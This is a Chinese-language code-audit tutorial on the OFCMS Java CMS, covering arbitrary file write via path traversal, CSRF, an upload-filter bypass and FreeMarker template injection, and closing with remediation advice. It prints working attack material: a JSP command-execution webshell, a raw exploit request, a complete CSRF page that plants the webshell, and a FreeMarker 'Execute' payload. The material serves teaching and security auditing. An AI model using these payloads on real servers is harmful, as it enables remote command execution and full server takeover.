从零开始java代码审计系列(四)
字数 1088 2025-08-29 08:32:18
Java代码审计实战教学:OFCMS漏洞分析与利用
一、项目背景与审计准备
审计项目:OFCMS(开源Java CMS系统)
项目地址:https://gitee.com/oufu/ofcms
审计工具准备:
- IDEA集成开发环境
- FindBugs插件(辅助静态代码分析)
二、漏洞1:后台任意文件上传
漏洞位置
/ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
漏洞代码分析
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if ("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
} else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
漏洞特征
- 无任何过滤:直接接收用户输入的
file_name和file_content参数 - 路径遍历:可通过
../../实现目录穿越 - JSP代码写入:直接将内容写入文件,无任何安全限制
利用条件
- 需要后台管理员权限
- 可结合CSRF漏洞进行利用
利用方式
HTTP请求示例:
POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 548
file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A+out.println(new+String(b))%3B%0A+7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
写入的JSP Webshell:
<%
if("p0desta".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
绕过机制
为什么需要写入static目录:
public class ActionHandler extends Handler {
private String[] suffix = {".html", ".jsp", ".json"};
public static final String exclusions = "static/";
@Override
public void handle(String target, HttpServletRequest request,
HttpServletResponse response, boolean[] isHandled) {
// 过滤静态文件
if (target.contains(exclusions)){
return;
}
// 其他处理...
}
}
- 系统对
.jsp、.html、.json后缀的请求会进行处理 - 但
static/目录下的文件会被直接放行,不进行后缀检查
三、漏洞2:CSRF漏洞
漏洞特征
- 所有后台操作均未设置CSRF Token
- 可构造恶意页面诱导管理员执行操作
CSRF攻击示例
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json" method="POST">
<input type="hidden" name="file_path" value="" />
<input type="hidden" name="dirs" value="/" />
<input type="hidden" name="res_path" value="res" />
<input type="hidden" name="file_name" value="../../static/shell2.jsp" />
<input type="hidden" name="file_content" value="<% if("p0desta".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
四、漏洞3:鸡肋的文件上传漏洞
漏洞位置
同文件上传功能,但限制更严格
安全限制代码
private boolean isSafeFile(UploadFile uploadFile) {
String fileName = uploadFile.getFileName().trim().toLowerCase();
if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) {
return true;
} else {
uploadFile.getFile().delete();
return false;
}
}
绕过可能性
- Windows系统特性:可利用
test.jsp.或test.jsp(末尾空格)绕过 - 但上传路径固定为
/upload/image/,无法目录穿越,因此实际利用价值低
五、漏洞4:服务端模板注入(FreeMarker)
漏洞背景
系统使用FreeMarker作为模板引擎
利用方式
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
攻击效果
- 直接执行系统命令
- 可获取服务器权限
六、修复建议
-
文件上传漏洞:
- 限制上传文件类型白名单
- 禁止使用用户输入直接构造文件路径
- 对上传文件内容进行安全检查
-
CSRF漏洞:
- 添加CSRF Token机制
- 关键操作使用POST请求
-
模板注入:
- 升级FreeMarker版本
- 禁用危险的内建函数
- 使用沙盒环境
-
其他:
- 实施严格的权限控制
- 对用户输入进行严格过滤和校验
- 定期进行安全审计和代码审查
七、总结
本次审计发现的漏洞链:
- 通过CSRF漏洞诱导管理员执行操作
- 利用任意文件上传写入Webshell
- 通过static目录绕过安全限制
- 最终获取服务器控制权限
这些漏洞组合利用可导致系统完全沦陷,需引起高度重视并及时修复。